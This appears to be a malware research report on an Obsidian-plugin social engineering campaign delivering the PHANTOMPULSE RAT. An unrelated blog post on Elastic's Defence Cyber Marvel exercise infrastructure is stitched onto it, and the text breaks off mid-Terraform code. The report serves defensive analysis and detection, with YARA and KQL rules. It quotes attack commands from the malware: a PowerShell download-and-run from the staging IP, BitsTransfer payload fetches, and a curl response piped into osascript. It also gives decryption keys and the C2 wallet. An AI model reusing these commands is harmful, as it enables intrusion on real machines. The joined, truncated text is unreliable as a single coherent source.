A follow-up publication will provide a deeper technical analysis of PHANTOMPULSE itself, covering its injection engines, persistence internals, and C2 protocol in greater detail.

Preamble

Elastic Security Labs has identified a novel social engineering campaign that abuses the popular note-taking application, Obsidian, as an initial access vector. The campaign, which we track as REF6598, targets individuals in the financial and cryptocurrency sectors through elaborate social engineering on LinkedIn and Telegram. The threat actors abuse Obsidian's legitimate community plugin ecosystem, specifically the Shell Commands and Hider plugins, to silently execute code when a victim opens a shared cloud vault.

In the observed intrusion, Elastic Defend detected and blocked the attack at the early stage, preventing the threat actors from achieving their objectives on the victim's machine.

The attack chain is cross-platform, with dedicated execution paths for both Windows and macOS. On Windows, an intermediate loader decrypts and reflectively loads payloads entirely in memory using AES-256-CBC, timer queue callback execution, and multiple anti-analysis techniques. The chain culminates in the deployment of a previously undocumented RAT we are naming PHANTOMPULSE, a heavily AI-generated, full-featured backdoor with blockchain-based C2 resolution, advanced process injection via module stomping. On macOS, the attack deploys an obfuscated AppleScript dropper with a Telegram-based fallback C2 resolution mechanism.

This post will detail the full attack chain, from social engineering through final payload analysis, and provide detection guidance and indicators of compromise.

Key takeaways

• PHANTOMPULSE is a novel, AI-assisted Windows RAT featuring blockchain-based C2 resolution via Ethereum transaction data and distinct injection techniques
• We identified a weakness in the C2 mechanism that allows for a takeover of the implants by responders
• Obsidian was abused for initial access social engineering attack
• Cross-platform attack chain targeting both Windows and macOS
• The macOS payload uses a multi-stage AppleScript dropper with a Telegram dead-drop for fallback C2 resolution
• PHANTOMPULL is a custom in-memory loader that delivers PHANTOMPULSE

Campaign overview

The threat actors operate under the guise of a venture capital firm, initiating contact with targets through LinkedIn. After initial engagement, the conversation moves to a Telegram group where multiple purported partners participate, lending credibility to the interaction. The discussion centers around financial services, specifically cryptocurrency liquidity solutions, creating a plausible business context.

The target is asked to use Obsidian, presented as the firm's "management database", for accessing a shared dashboard. The target is provided credentials to connect to a cloud-hosted vault controlled by the attacker.

This vault is the initial access vector. Once opened in Obsidian, the target is instructed to enable community plugins sync. After that, the trojanized plugins silently execute the attack chain.

Initial access

An Elastic Defend behavior alert triggered on suspicious PowerShell execution with Obsidian as the parent process. This immediately caught our attention. Initially, we suspected an untrusted binary masquerading as Obsidian. However, after inspecting the parent process code signature and hash, it appeared to be the legitimate Obsidian binary.

Pivoting on the process event call stack to determine whether a third-party DLL sideload or unbacked memory region was involved, we confirmed that the process creation originated directly from Obsidian itself.

We then investigated the surrounding files for signs of JavaScript injection via modification of dependency files or malicious .asar file planting. Everything appeared to be a clean, legitimate Obsidian installation with no third-party code. At that point, we decided to install Obsidian ourselves and explore what options an attacker could abuse to achieve command execution.

The first thing that stood out was the ability to log in to an Obsidian-synced vault with an email and password.

Obsidian's vault sync feature allows notes and files to be synchronized across devices and platforms. While reviewing the files of the malicious remote vault under the .obsidian config folder, we found evidence that the Shell Commands community plugin had been installed:

C:\Users\user\Documents\<redacted_vault_name>\.obsidian\plugins\obsidian-shellcommands\data.json

The Shell Commands plugin allows users to execute platform-specific shell commands based on configurable triggers such as Obsidian startup, close, every N seconds, and others.

The contents of data.json confirmed our theory: the configured commands matched exactly what we had observed in the original PowerShell behavior alert.

To validate the full attack chain, we attempted to replicate the behavior end-to-end across two machines, a host and a VM using a paid Obsidian Sync license. On the host, we installed the Shell Commands community plugin with a custom command configured to spawn notepad.exe on startup. On the VM, we logged in to the same Obsidian account and connected to the remote vault.

The synced vault on the VM received the base configuration files (app.json, appearance.json, core-plugins.json, workspace.json), but notably the plugins/ directory and community-plugins.json were absent entirely. This is because Obsidian's Sync settings expose two separate toggles "Active community plugin list" and "Installed community plugins" both of which are disabled by default and are local client-side preferences that do not propagate through sync.

As shown below, the plugins and community_plugins manifest are not synced automatically (any file inside the .obsidian directory).

However, once enabled, the Shell Commands plugin immediately triggers execution of attacker-defined commands on vault open:

This means an attacker cannot remotely force the installation or enablement of a community plugin via vault sync alone. The victim must manually enable the community plugin sync on their device before the weaponized plugin configuration pulls down and triggers execution.

In the case we investigated, the attacker provided Obsidian account credentials directly to the victim as part of a social engineering lure, likely instructing them to log in, enable community plugin sync, and connect to the pre-staged vault. Once those steps were completed, the Shell Commands plugin and its data.json configuration synced automatically, and on the next configured trigger, the payload executed without any further interaction.

While this attack requires social engineering to cross the community plugin sync boundary, the technique remains notable: it abuses a legitimate application feature as a persistence and command execution channel, the payload lives entirely within JSON configuration files that are unlikely to trigger traditional AV signatures, and execution is handed off by a signed, trusted Electron application, making parent-process-based detection the critical layer.

Alongside the Shell Commands plugin, the author used Hider (v1.6.1), a UI-cleanup plugin that hides interface elements. With every concealment option enabled, the following is the configuration:

{
  "hideStatus": true,
  "hideTabs": true,
  "hideScroll": true,
  "hideSidebarButtons": true,
  "hideTooltips": true,
  "hideFileNavButtons": true,
}

Windows execution chain

Stage 1

The Shell Commands plugin's Windows command contained two Invoke-Expression calls with Base64-encoded strings that decode to the following:

iwr http://195.3.222[.]251/script1.ps1 -OutFile env:TEMP\tt.ps1 -UseBasicParsing powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -File "env:TEMP\tt.ps1"

This will download a second-stage PowerShell script from a hardcoded IP address and execute it.

Stage 2

The downloaded PowerShell script (script1.ps1) implements a loader-delivery mechanism with a built-in operator-notification system. The script uses BitsTransfer to download the next-stage binary and reports its progress to the C2.

Import-Module BitsTransfer
Start-BitsTransfer -Source 'http://195.3.222[.]251/syncobs.exe?q=%23OBSIDIAN' `
  -Destination "$env:TEMP\syncobs.exe"

After the download, the script verifies the file's existence and reports the outcome to the C2 at 195.3.222[.]251/stuk-phase. It appears that the prepended characters (G, R) to the Status Message, declaring GREEN or RED as a status color code. The following is a table of all the status messages:

The tag parameter (Obsidian) sent with each status update identifies the campaign or infection vector, suggesting the operators might be running multiple concurrent campaigns.

if ($started) {
    Invoke-RestMethod -Uri "http://195.3.222[.]251/stuk-phase" -Method Post -Body @{ message = "GLAUNCH SUCCESS"; tag = $tag }
} else {
    Invoke-RestMethod -Uri "http://195.3.222[.]251/stuk-phase" -Method Post -Body @{ message = "RLAUNCH FAILED"; tag = $tag }
}
Start-Sleep -Seconds 3

Invoke-RestMethod -Uri "http://195.3.222[.]251/stuk-phase" -Method Post -Body @{ message = "GSESSION CLOSED"; tag = $tag }

Loader - PHANTOMPULL

This loader is a 64-bit Windows PE executable that extracts an AES-256-CBC-encrypted PE payload from its own resources, decrypts it, and reflectively loads it into memory. This in-memory payload then downloads the next stage from the domain (panel.fefea22134[.]net) over HTTPS.

The third-stage payload (PHANTOMPULSE) is then decrypted and loaded reflectively via DllRegisterServer. This loader, which we are calling PHANTOMPULL, includes runtime API resolution and timer-queue-based execution. This sample includes minor forms of evasion/obfuscation, along with dead code; these techniques are used as an anti-analysis trick to waste the analyst's time investigating the malware.

Execution Flow

Stage 1

Stage 2

Fake Integrity Check

The loader begins with a strange start using a dead-code guard that compares GetTickCount() against the hex value (0xFFFFFFFE) — a value that corresponds to approximately 49.7 days of continuous system uptime, making the condition virtually unreachable. The guarded block contains convincing but unreachable anti-tamper functions designed to waste analysts' time during reverse engineering.

The anti_tamper_integrity_checksum() function is also pretty strange; it doesn’t actually hash any of the underlying bytes, but sums all the function addresses in the binary. The checksum is never compared to anything; this is likely an intended anti-analysis technique to waste analyst time and bloat the binary.

API Hashing

This loader resolves API functions dynamically at runtime using the djb2 hashing algorithm with seed 0x4E67C6A7. The following APIs were resolved:

• VirtualAlloc
• VirtualProtect
• VirtualFree
• LoadLibraryA
• GetProcessAddress

Resource Extraction + Decryption

PHANTOMPULL stores its encrypted in-memory payload inside its own resources.

In order to extract the bytes, it uses FindResourceA, locating the resource type (RT_RCDATA) under ID (101). The resource is mapped into memory and copied into a region marked with PAGE_READWRITE permissions.

Next, the loader performs AES-256-CBC decryption using BCryptOpenAlgorithmProvider. The key is hardcoded in the .rdata section

Key: 6a85736b64761a8b2aaeadc1c0087e1897d16cc5a9d49c6a6ea1164233bad206

The IV is also hard-coded on the stack: A6FA4ADFC20E8E6B77E2DD631DC8FF18

After decryption, the loader validates the output is a valid PE by checking the MZ header magic value with a comparison instruction using a hard-coded value (0x0C1DF) that gets XOR’d with (0x9B92), equaling the PE magic header (0x5a4d). This is an example of some of the lightweight obfuscation efforts that often seem awkward and don't fit in.

Execution

Rather than calling the payload directly (which is easily detected by sandboxes), the loader uses a timer queue callback. The 50ms delay and separate-thread execution can evade various security/sandbox tooling.

Inside the callback is the reflective PE-loading functionality, which is then used to execute the next stage.

This reflective loading function is the core execution component. It copies the PE headers, maps each section into memory, applies base relocations, resolves imports, and sets the final section protections — producing a fully functional, memory-resident PE that never touches disk.

Execution is then transferred to the second stage via an indirect call rbp instruction, where RBP holds the computed entry point address of the reflectively loaded PE.

Second Stage

The second stage is responsible for downloading the remotely hosted payload (PHANTOMPULSE) and for using a similar reflective-loading technique to launch the implant. This stage starts by creating a mutex from an XOR operation with two hard-coded global variables.

The mutex name for this sample is: hVNBUORXNiFLhYYh

After the mutex is created, this code enters a persistent loop that attempts to download the payload from the C2 server. If the download successfully returns a valid buffer, it breaks out and proceeds to the reflective loading stage.

On failure, the code employs an exponential backoff — starting with a 5-second sleep and multiplying by 1.5x on each retry, capping just under 5 minutes. This avoids a fixed beacon interval that would be trivially fingerprinted in network traffic.

The downloader functionality starts by decrypting the C2 and URL.

The C2 and URL are both decrypted using a simple string decryption function using a 16-byte rotating key (f77c8e40dfc17be5e74d8679d5b35341).

Next, the malware builds the HTTPS request, appending the string using the URI /v1/updates/check?build=payloads and setting the User Agent (Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36). This loader uses the WinHTTP library to connect to the C2 on port 443.

The malware takes the buffer from the remote C2 URL and decrypts the payload with a 16-byte XOR key (dcf5a9b27cbeedb769ccc8635d204af9)

Below are the first bytes of the XOR-encoded payload:

Below are the first bytes after the XOR takes place:

After the download and XOR operations, PHANTOMPULL parses the payload and reflects the DLL using DLLRegisterServer.

By quickly checking the strings, we can see the main backdoor, PHANTOMPULSE:

RAT - PHANTOMPULSE

PHANTOMPULSE is a sophisticated 64-bit Windows RAT designed for stealth, resilience, and comprehensive remote access. The binary exhibits strong indicators of AI-assisted development: Debug strings throughout the code are abnormally verbose, self-documenting, and follow a structured step-numbering pattern ([STEP 1], [STEP 1/3], [STEP 2/3])

During our research, we discovered that the C2 infrastructure had a publicly exposed panel branded as “Phantom Panel", featuring a login page with username, password, and captcha fields. The panel's design and structure suggest it was also AI-generated, consistent with the development patterns observed in the RAT itself.

C2 rotation through blockchain

PHANTOMPULSE implements a decentralized C2 resolution mechanism using public blockchain infrastructure as a dead drop. The malware's primary method for obtaining its C2 URL is by resolving it from on-chain transaction data. A hardcoded C2 URL serves as a fallback if the blockchain resolution fails after repeated attempts.

The malware queries the Etherscan-compatible API (/api?module=account&action=txlist&address=<wallet>&page=1&offset=1&sort=desc) on three Blockscout instances:

• eth.blockscout[.]com (Ethereum L1)
• base.blockscout[.]com (Base L2)
• optimism.blockscout[.]com (Optimism L2)

Each request fetches the most recent transaction associated with a hardcoded wallet address (0xc117688c530b660e15085bF3A2B664117d8672aA), which is itself XOR-encrypted in the binary. The malware parses the transaction's input data field from the JSON response, strips the 0x prefix, hex-decodes the raw bytes, and XOR-decrypts the result using the wallet address as the XOR key. If the decrypted output begins with http, it is accepted as the new active C2 URL.

This technique provides the operator with an infrastructure-agnostic rotation capability: publishing a new C2 endpoint requires only submitting a transaction with crafted calldata to the wallet on any of the three monitored chains. Because blockchain transactions are immutable and publicly accessible, the malware can always locate its C2 without relying on centralized infrastructure. The use of three independent chains adds redundancy: even if one chain's explorer is blocked or unavailable, the remaining two provide alternative resolution paths.

However, this design introduces a significant weakness. The Blockscout API returns all transactions involving the wallet address, both sent and received, sorted in reverse chronological order. The malware does not verify the sender of the transaction. This means any third party who knows the wallet address and the XOR key (both recoverable from the binary) can craft a transaction to the wallet containing a competing input payload. Because the malware always selects the most recent transaction, a single inbound transaction with a more recent timestamp would override the operator's intended C2 URL. In practice, this allows anyone to hijack the C2 resolution by submitting a sinkhole URL encoded with the same XOR scheme, effectively redirecting all infected hosts away from the attacker infrastructure.

C2 communication

PHANTOMPULSE uses WinHTTP for C2 communication, dynamically loading winhttp.dll and resolving all required functions at runtime. The C2 infrastructure is built around five API endpoints:

The heartbeat sends comprehensive system telemetry as JSON, including CPU model, GPU, RAM, OS version, username, privilege level, public IP, installed AV products, installed applications, and the results of the last command execution.

Command table

The command dispatcher parses JSON responses from the C2 to extract and hash commands via the djb2 algorithm. This hash is processed by a switch-case statement to execute the corresponding logic, as seen in the pseudocode below:

MacOS execution chain

Stage 1: AppleScript via osascript

The Shell commands plugin's macOS command executes a Base64-encoded payload through osascript.

The decoded payload performs two primary actions:

LaunchAgent persistence: Creates a persistent LaunchAgent plist at ~/Library/LaunchAgents/com.vfrfeufhtjpwgray.plist configured with KeepAlive and RunAtLoad set to true, ensuring the second-stage payload executes on every login and restarts if terminated.

Second-stage execution: The LaunchAgent executes a heavily obfuscated AppleScript dropper through /bin/bash -c piped into osascript.

Stage 2: Obfuscated AppleScript dropper

The second-stage payload is an obfuscated AppleScript dropper that employs multiple evasion techniques.

String obfuscation: All sensitive strings (domains, URLs, user-agent values) are constructed at runtime using ASCII character, character id, and string id calls, preventing static string extraction:

property __tOlA5QTO5I : {(string id {48, 120, 54, 54, 54, 46, 105, 110, 102, 111})}
-- Decodes to: "0x666.info"

Decoy variables: Numerous unused variables with random names and values are defined to increase entropy and hinder analysis.

Fragmented concatenation: Strings are split across mixed encoding methods, combining literal fragments with character-ID lookups to defeat pattern matching.

C2 resolution with Telegram fallback

The dropper implements a layered C2 resolution strategy:

1. Primary: Iterates over a hardcoded domain list (including 0x666[.]info), sending a POST request with body "check" to validate C2 availability
2. Fallback: If the primary domain is unreachable, scrapes a public Telegram channel (t[.]me/ax03bot) to extract a backup domain
   

This Telegram dead-drop technique allows operators to rotate C2 infrastructure, making domain-based blocking insufficient as a sole mitigation.

Payload retrieval

Once a C2 is resolved, the script downloads and pipes a second-stage payload directly into osascript:

curl -s --connect-timeout 5 --max-time 10 --retry 3 --retry-delay 2 -X POST <C2_URL> \
  -H "User-Agent: <spoofed Chrome UA>"-d "txid=346272f0582541ae5dd08429bb4dc4ff&bmodule"| osascript

The victim identifier (txid) and module selector (bmodule) are sent as POST parameters. The response is expected to be another AppleScript payload executed immediately. At the time of analysis, the C2 servers for the macOS chain were offline, preventing the collection of subsequent stages.

Infrastructure analysis

Wallet activity

Examining the on-chain activity for the hardcoded wallet (0xc117688c530b660e15085bF3A2B664117d8672aA) reveals the operator's C2 rotation history. The two most recent transactions are self-transfers (wallet to itself), each encoding a different C2 URL in the transaction input data:

The use of a Cloudflare Tunnel domain (trycloudflare[.]com) as a prior C2 endpoint is notable, as it allows the operator to expose a local server through Cloudflare's infrastructure without registering a domain, providing an additional layer of anonymity.

The wallet was initially funded on Feb 12, 2026, at 21:39:47 UTC by a separate account (0x38796B8479fDAE0A72e5E7e326c87a637D0Cbc0E) with a transfer of $5.84 and an empty input field (0x), confirming this was purely a funding transaction. The funding wallet itself has conducted approximately 50 transactions over the past three months, which provides a potential pivot point for uncovering additional campaigns operated by the same threat actor.

Payload staging server

The initial payload delivery server at 195.3.222[.]251 is hosted on AS 201814 (MEVSPACE sp. z o.o.), a Polish hosting provider.

PhantomPulse C2 panel

The domain fefea22134[.]net resolves to Cloudflare IPs (104.21.79[.]142 and 172.67.146[.]15), indicating the C2 panel sits behind Cloudflare's proxy. Historical passive DNS shows the domain was first resolved on 2026-03-12, with earlier resolutions pointing to different IPs (188.114.97[.]1 and 188.114.96[.]1) on 2026-03-20.

The domain uses a Let's Encrypt certificate first observed on 2026-03-12:

• Serial: 5130b76e63cd41f11e6b7c2a77f203f72b4
• Thumbprint: 6c0a1da746438d68f6c4ffbf9a10e873f3cf0499
• Validity: 2026-02-19 to 2026-05-20

The certificate issuance date (Feb 19) aligns with the most recent blockchain C2 rotation transaction encoding panel.fefea22134[.]net, suggesting the infrastructure was provisioned the same day the C2 URL was published on-chain.

Conclusion

REF6598 demonstrates how threat actors continue to find creative initial access vectors by abusing trusted applications and employing targeted social engineering. By abusing Obsidian's community plugin ecosystem rather than exploiting a software vulnerability, the attackers bypass traditional security controls entirely, relying on the application's intended functionality to execute arbitrary code.

In the observed intrusion, Elastic Defend detected and blocked the attack chain at the early stage before PHANTOMPULSE could execute, preventing the threat actor from achieving their objectives. The behavioral protections triggered on the anomalous process execution originating from Obsidian, stopping the payload delivery in its tracks.

Organizations in the financial and cryptocurrency sectors should be aware that legitimate productivity tools can be turned into attack vectors. Defenders should monitor for anomalous child process creation from applications like Obsidian and enforce application-level plugin policies where possible. The indicators and detection logic provided in this research can be used to identify and respond to this activity.

Elastic Security Labs will continue to monitor REF6598 for further developments, including additional macOS payloads once the associated C2 infrastructure becomes active.

MITRE ATT&CK

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

• Initial Access
• Execution
• Persistence
• Privilege Escalation
• Defense Evasion
• Collection
• Discovery
• Command and Control

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

• Phishing: Spearphishing via Service
• User Execution: Malicious File
• Command and Scripting Interpreter: PowerShell
• Command and Scripting Interpreter: AppleScript
• Deobfuscate/Decode Files or Information
• Reflective Code Loading
• Virtualization/Sandbox Evasion: Time Based Evasion
• Process Injection
• Scheduled Task/Job: Scheduled Task
• Boot or Logon Autostart Execution: Plist Modification
• Input Capture: Keylogging
• Screen Capture
• System Information Discovery
• Abuse Elevation Control Mechanism: Bypass UAC

Detecting REF6598

Detection

The following detection rules and behavior prevention events were observed throughout the analysis of this intrusion set:

• Suspicious Windows Powershell Arguments

Prevention

• Suspicious PowerShell Execution
• Network Module Loaded from Suspicious Unbacked Memory
• Base64 Encoded String Execution via Osascript

Hunting queries in Elastic

These hunting queries are used to identify the presence of the Obsidian community shell command plugin as well as the resulting command execution :

KQL

event.category : file and process.name : (Obsidian or Obsidian.exe) and
 file.path : *obsidian-shellcommands*

event.category : process and event.type : start and
 process.name : (sh or bash or zsh or powershell.exe or cmd.exe) and 
 process.parent.name : (Obsidian.exe or Obsidian)

YARA

Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify the PHANTOMPULL and PHANTOMPULSE

rule Windows_Trojan_PhantomPull {
    meta:
        author = "Elastic Security"
        os = "Windows"
        category_type = "Trojan"
        family = "PhantomPull"
        threat_name = "Windows.Trojan.PhantomPull"
        reference_sample = "70bbb38b70fd836d66e8166ec27be9aa8535b3876596fc80c45e3de4ce327980"

    strings:
        $GetTickCount = { 48 83 C4 80 FF 15 ?? ?? ?? ?? 83 F8 FE 75 }
        $djb2 = { 45 8B 0C 83 41 BA A7 C6 67 4E 49 01 C9 45 8A 01 }
        $mutex = { 48 89 EB 83 E3 ?? 45 8A 2C 1C 45 32 2C 2E 45 0F B6 FD }
        $str_decrypt = { 39 C2 7E ?? 49 89 C1 41 83 E1 ?? 47 8A 1C 0A 44 32 1C 01 45 88 1C 00 48 FF C0 }
        $payload_decrypt = { 4C 89 C8 83 E0 0F 41 8A 14 02 43 30 14 0F 49 FF C1 44 39 CB }
        $url = "/v1/updates/check?build=payloads" ascii fullword
    condition:
        3 of them
}

rule Windows_Trojan_PhantomPulse {
    meta:
        author = "Elastic Security"
        os = "Windows"
        category_type = "Trojan"
        family = "PhantomPulse"
        threat_name = "Windows.Trojan.PhantomPulse"
        reference_sample = "9e3890d43366faec26523edaf91712640056ea2481cdefe2f5dfa6b2b642085d"

    strings:
        $a = "[UNINSTALL 2/6] Removing Scheduled Task..." fullword
        $b = "PhantomInject: host PID=%lu" fullword
        $c = "inject: shellcode detected -> InjectShellcodePhantom" fullword
        $d = "inject: shellcode detected, using phantom section hijack" fullword
    condition:
        all of them
}

Observations

The following observables were discussed in this research.

Where to begin. For the fourth consecutive year, Elastic has had the privilege of serving as a trusted industry partner on Exercise Defence Cyber Marvel - the UK Ministry of Defence's flagship cyber exercise series. DCM26 was, without question, the most ambitious iteration yet, and we're chuffed to bits to finally be able to talk about what we built, how we built it, and what we learnt along the way.

What is Defence Cyber Marvel?

For those unfamiliar, Defence Cyber Marvel (DCM) is the largest UK military cyber exercise series that focuses on defending traditional IT networks, corporate environments, and complex industrial control systems in realistic, high-pressure scenarios. It showcases responsible cyber power whilst enhancing readiness, interoperability, and resilience across Defence and allied nations. Now in its fifth year, DCM has evolved from an Army Cyber Association initiative into a tri-service operation led by Cyber and Specialist Operations Command (CSOC).

The UK Government published an official press release for DCM26, which provides an excellent overview of the exercise's strategic importance. As the British High Commissioner to Singapore noted, the exercise demonstrates the deep cooperation between the UK and trusted partners, a reminder of the strength of shared strategic partnerships in an increasingly complex security landscape.

At its core, DCM is a force-on-force cyber exercise: defending Blue Teams protect their assigned networks and infrastructure from attacking Red Teams, using a range of techniques. Activities span changing default passwords and hardening firewalls through to deploying enterprise-grade, AI-powered cyber defence with Elastic Security. The activities of each team are monitored by the White Team to establish a score factoring in system availability, attack detection, incident reporting, and system restoration.. It stretches the most experienced teams whilst also facilitating a unique training mechanism for junior teams on their first exposure to a cyber range, and that dual purpose is what makes DCM such a valuable exercise.

The scale of DCM26

DCM26 brought together over 2,500 personnel from 29 participating countries and 70 organisations, coordinated from a central Exercise Control (EXCON) based out of Singapore, with EXCON hosting over 600 participants. The exercise ran across a hybrid compute environment spanning the CR14 cyber range and AWS, hosting over 5,000 virtual systems.

The exercise itself ran for five days of execution (9–13 February 2026), preceded by optional instructor-led pre-training and connectivity checks. The scenario, built on the Defence Academy Training Environment (DATE) Indo-Pacific Operating Environment, placed teams as Cyber Protection Teams defending deployed military systems during an escalating regional crisis.Blue Teams were geographically dispersed,some in their home locations across the UK and internationally, others deployed overseas, all connecting into the range via VPN.

Participants included representatives from UK Defence, cross-government departments such as the National Crime Agency, the Department for Work and Pensions, the Cabinet Office, and the Department for Business and Trade, alongside international partners forming up to 40 teams. Following the success of last year's exercise in the Republic of Korea, Singapore served as the exercise hub for the first time, reflecting the UK's commitment to deepening cooperation with Indo-Pacific partners on shared security challenges.

In short, it's a serious exercise. High-pressure, force-on-force, with real consequences for scoring and real learning outcomes for every participant.

The deployments: Our Elastic infrastructure

This year's infrastructure represented a significant architectural evolution from previous iterations. Rather than deploying individual Elastic Cloud clusters per team, we moved to a single, space-based multi-tenanted Elastic Cloud deployment for the Blue Teams. We also provided deployments for functions outside of the Blue Teams. Let me break down each deployment and why it exists.

Blue Teams: Multi-tenanted Elastic Security

The centrepiece of our contribution was a single Elastic Cloud deployment serving all 40 defending Blue Teams, separated using Kibana Spaces and datastream namespaces. Each of the 39 teams had its own isolated workspace, including dashboards, agents, and detection rules.

Here's what the Terraform resource looked like for creating each team's space:

# Create 40 Blue Team spaces
resource "elasticstack_kibana_space" "blue_team" {
  count = var.team_count

  space_id    = local.space_ids[count.index]
  name        = "Blue Team ${local.team_numbers[count.index]}"
  description = "Isolated space for BT-${local.team_numbers[count.index]} with space-aware Fleet visibility"

  disabled_features = []
  color             = "#0077CC"
}

Each team's space got a dedicated set of three Fleet agent policies: on day 1a Deployed network policy, day 2, a Host Nation network policy, and finally a PacketCapture policy for network traffic monitoring. The phased access control was elegant in its simplicity: setting enable_hostnation_network = true in our terraform.tfvars and running terraform apply expanded each team's role permissions and made their Host Nation agent policy visible in their space. The exercise went from one network to two without a single manual click in Kibana.

The data isolation relied on datastream namespaces. Each agent policy is written to team-specific namespaces like bt_01_deployed and bt_01_hostnation, producing data streams following the pattern:

logs-system.auth-bt_01_hostnation
logs-system.syslog-bt_01_hostnation
metrics-system.cpu-bt_01_hostnation
logs-endpoint.events.process-bt_01_hostnation
logs-windows.forwarded-bt_01_hostnation
logs-auditd.log-bt_01_hostnation

Each team's Kibana security role was then scoped to only those data streams using dynamic index privilege blocks:

# Deployed data streams (always granted)
indices {
  names = [
    "logs-*-${local.deployed_namespaces[count.index]}",
    "metrics-*-${local.deployed_namespaces[count.index]}",
    ".fleet-*"
  ]
  privileges = ["read", "view_index_metadata"]
}

# HostNation data streams (conditional on enable_hostnation_network)
dynamic "indices" {
  for_each = var.enable_hostnation_network ? [1] : []
  content {
    names = [
      "logs-*-${local.hostnation_namespaces[count.index]}",
      "metrics-*-${local.hostnation_namespaces[count.index]}"
    ]
    privileges = ["read", "view_index_metadata"]
  }
}

Authentication was handled via Keycloak SSO, with Elasticsearch role mappings connecting Keycloak groups to Kibana roles:

resource "elasticstack_elasticsearch_security_role_mapping" "blue_team" {
  count = var.team_count

  name    = "bt-${local.team_numbers[count.index]}-keycloak-mapping"
  enabled = true

  roles = [
    elasticstack_kibana_security_role.blue_team[count.index].name
  ]

  rules = jsonencode({
    field = {
      groups = "${local.keycloak_groups[count.index]}"
    }
  })
}

The default integration policies were simple by design. Each team received: System for core OS telemetry, Elastic Defend for Endpoint Detection and Response, Windows event forwarding, Auditd for Linux audit logging, and Network Packet Capture integrations. That's over 400 integration policies managed as code via the Elastic Stack Terraform Provider.

A note on Elastic Defend: due to the effectiveness of Elastic's endpoint protection - which is trusted in production by the US DOD and IC, read more about that here - and the fact that nobody in their right mind is burning zero-day exploits on a training exercise, we're forced tohandicap Elastic Defend by disabling Prevent mode, leaving it in Detect-only mode. Teams get alerts when something malicious happens, but with no automatic mitigation. We also completely disable Memory Threat Prevention and Detection as this discovers the majority of attacking team implants and beacons, which would rather spoil the game for the Red Teams. Toward the end of the exercise, we allowed the teams the freedom to use Elastic Defend to its full capability, but not before letting the Red Teams get a strong foothold.

We also pre-installed Elastic's prebuilt detection rules into each team space - the full set from Elastic Security Labs, continuously updated in an open repository. These rules were setup to ensure they only queried indices that the team's namespace-scoped permissions allowed, preventing any cross-team data leakage in detection rule execution.

Additionally, each team space had its Security Solution default index configured to scope detection rules to only that team's data streams, rather than the default broad pattern. This was handled by a Terraform null_resource that called the Kibana internal settings API to set securitySolution:defaultIndex for each space.

At peak, this deployment was ingesting 800,000 events per second (EPS) across all 40 teams. That's a serious amount of data, and the cluster handled it comfortably thanks to the autoscaling capabilities of Elastic Cloud. That given, back in 2018 we were doing 5 million events per second with eBay.

Data lifecycle was managed by an Index Lifecycle Management (ILM) policy that rolled indices over after one day or 50 GB (whichever came first), moved them to a warm phase after two days for read-only optimisation and force-merging, and then deleted data after ten days. As a result, the storage costs were minimized while maintaining the exercise window requirements. Below is an example of how the ILM policy was implemented.

resource "elasticstack_elasticsearch_index_lifecycle" "dcm5_10day_retention" {
  name = "dcm5-10day-retention"

  hot {
    min_age = "0ms"

    set_priority {
      priority = 100
    }

    rollover {
      max_age                = "1d"
      max_primary_shard_size = "50gb"
    }
  }

  warm {
    min_age = "2d"

    set_priority {
      priority = 50
    }

    readonly {}

    forcemerge {
      max_num_segments = 1
    }
  }

  delete {
    min_age = "${var.data_retention_days}d"

    delete {
      delete_searchable_snapshot = true
    }
  }
}

The shard stress test: Proving multi-tenancy at scale

Before committing to this architecture for a live military exercise, we needed to prove it would be able to meet our requirements and have an appropriate failover in place in the event of issues. Moving from individual deployments to a single multi-tenanted cluster introduced real risks: resource contention, ingest bottlenecks, data leakage across spaces due to misconfiguration, large TCP connection counts on the Elasticsearch nodes, and a significantly larger shard count since each team generates its own set of indices.

So we built a dedicated testing rig. The plan was straightforward: deploy 50 Kibana Spaces, create an agent policy in each space, launch 6,000 EC2 instances (120 per tenant, across six subnets in three availability zones), and load-test the lot. We monitored everything with AutoOps and Stack Monitoring.

The deployment flow worked like this: Terraform created the VPC and subnets across three availability zones, provisioned the 50 Kibana Spaces and their space-scoped Fleet policies, generated enrolment tokens, and then launched EC2 instances in batches. Each instance installed Elastic Agent on boot and enrolled against its space-specific token.

We hit some interesting challenges along the way. The standard Elastic Stack Terraform Provider didn't support space-aware Fleet operations at the time, so we forked it and added space ID handling to the Fleet resources - without that modification, every agent would have enrolled into the default space regardless of policy assignment. This wasn't the first time we'd had to extend the provider for an exercise; two years ago, for DCM2, we'd added the elasticsearch_cluster_info data source. Fortunately, the upstream provider has since added support for space_ids in version 0.12.2.

We also ran into AWS EC2 API rate limits when trying to spin up all 6,000 instances simultaneously, so we batched deployments at 500 instances with five-minute cool-off periods between batches.

The results were reassuring. All 6,000 agents were typically enrolled within 20 minutes of deployment. In our tests, space isolation worked as expected with no observed data leakage between tenants. Fleet policy updates propagated to all agents within 60 seconds. Search queries scoped to individual spaces remained fast under full load. And the multi-AZ distribution proved resilient during simulated availability zone failures.

This testing gave us the confidence to commit to the architecture for the live exercise.

Red Teams: C2 implant observability

A separate, dedicated Elastic deployment was stood up for the Red Teams, focused on Command and Control (C2) implant observability. This gave the attacking teams visibility into their own operations, including implant status, beacon callbacks, and operational progress, without any risk of cross-pollination with the Blue Team's data. The Red Teams used Tuoni as their C2, which is a framework developed by Clarified Security for red teaming. In DCM3, we worked with Clarified Security to ensure it properly supported the Elastic Common Schema, making future integration with Elastic much easier.

NSOC: Exercise Network Security Operations Centre

The core exercise, Network Security Operations Centre (NSOC), ran on its own Elastic deployment, providing the exercise control staff with an overarching view of range health, security monitoring across the entire infrastructure, and critically, audit logging for all the AI services we deployed. Every Bedrock API invocation was logged in CloudWatch and observable in this deployment, meaning the NSOC had complete visibility into what was being asked to the AI agents and by whom . More on this in the AI section below.

Infrastructure automation: Terraform and Catapult

Everything you've seen above was managed as Infrastructure as Code. Our provider.tf gives a sense of the provider ecosystem we were orchestrating:

terraform {
  required_version = ">= 1.5"

  required_providers {
    elasticstack = {
      source  = "elastic/elasticstack"
      version = "~> 0.13.1"
    }
    aws = {
